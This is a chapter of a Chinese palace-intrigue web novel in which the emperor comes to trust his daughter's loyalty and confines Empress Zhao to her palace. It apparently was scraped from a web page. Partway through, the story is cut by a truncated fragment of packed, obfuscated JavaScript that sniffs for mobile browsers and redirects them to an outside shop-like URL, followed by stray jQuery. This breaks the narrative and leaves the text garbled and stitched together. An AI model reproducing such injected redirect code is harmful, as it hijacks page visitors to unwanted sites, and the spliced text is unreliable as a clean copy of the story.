华熠紧握的拳头松了松:“舒儿……真这么说?”
“千真万确。”陆明道,“公主还说,这些年来,陛下待她是真心的,她不愿成为别人手中的刀。”
这话半真半假,华舒确实说了类似的话,但内里的意思并不相同,陆明稍稍润色,是为了让华熠对华舒多几分信任。
华熠沉默良久,烛火在他脸上投下跳动的阴影。
“陛下,”春妃从屏风后走出来,轻声道,“公主毕竟年少,又是被皇后突然告知这样的秘密,一时慌乱也是有的。但她心中惦记陛下,这是显而易见的。”
她走到华熠身边,柔声说:“况且,公主去年中秋还为您挡过剑。那刺客突然发难,若不是公主扑过去推开您,那一剑就刺中您心口了。这样的纯孝之人,怎么会真心害您呢?”
华熠想起去年中秋夜宴,那时刺客直冲他而来,是华舒不顾自身安危扑过来推开他,自己却伤了肩臂,留了一道三寸长的疤痕。
事后华舒还笑着说:“父皇没事就好,儿臣这点小伤,算不得什么。”
当时华熠感动不已,赏了她无数珍宝,如今想来,若华舒早有异心,何必冒死救他?
“朕知道了。”华熠终于开口,声音有些疲惫,“陆明,你做得很好。退下吧,今夜之事,不可对任何人提起。”
“臣明白。”陆明行礼退下。
走出清凉台时,他回头看了一眼,殿内烛火依旧通明,映出华熠和春妃低声商议的身影。
他知道,这宫廷的天,要变了。而他也会牢牢抓住这次机会。
次日清晨,圣旨下达碧梧宫。
李公公带着一队御林军,将碧梧宫团团围住,宫门被从外面上锁,只留一扇小门供每日送饭食进出。
“皇后娘娘,”李公公站在宫门外,声音恭敬却冰冷,“陛下有旨,娘娘凤体欠安,需静养,从今日起,碧梧宫闭宫休养,任何人不得进出。宫务暂由妍妃娘娘代理。”
赵皇后站在宫内,隔着门缝看着外面的阵仗,脸色煞白。
她知道,事情败露了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097296|195671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>但她不明白是哪里出了错,昨夜与华舒的谈话,只有她们母女二人,宫人都被屏退。
难道……难道是华舒?
不可能!那丫头昨晚哭得那么伤心,答应得那么诚恳,怎么会出卖她?
“李公公,”赵皇后强作镇定,“本宫只是偶感风寒,何至于要闭宫休养?陛下这是何意?”
李公公垂着眼:“奴才只是奉旨办事,不敢妄测圣意。娘娘好生休养,缺什么只管吩咐,奴才一定办到。”
说完,他挥挥手,御林军立刻将碧梧宫围得水泄不通。
赵皇后回到殿内,气得浑身发抖,她抓起桌上的茶盏狠狠摔在地上,瓷片四溅。
“娘娘息怒!”意翠连忙上前,“也许是陛下真的担心娘娘凤体……”
“蠢货!”赵皇后厉声道,“这是圈禁!他知道了!他一定知道了!”
她在殿内来回踱步,脑中飞快地思索。
华熠知道了多少?是知道了全部计划,还是只听到风声?
TBC.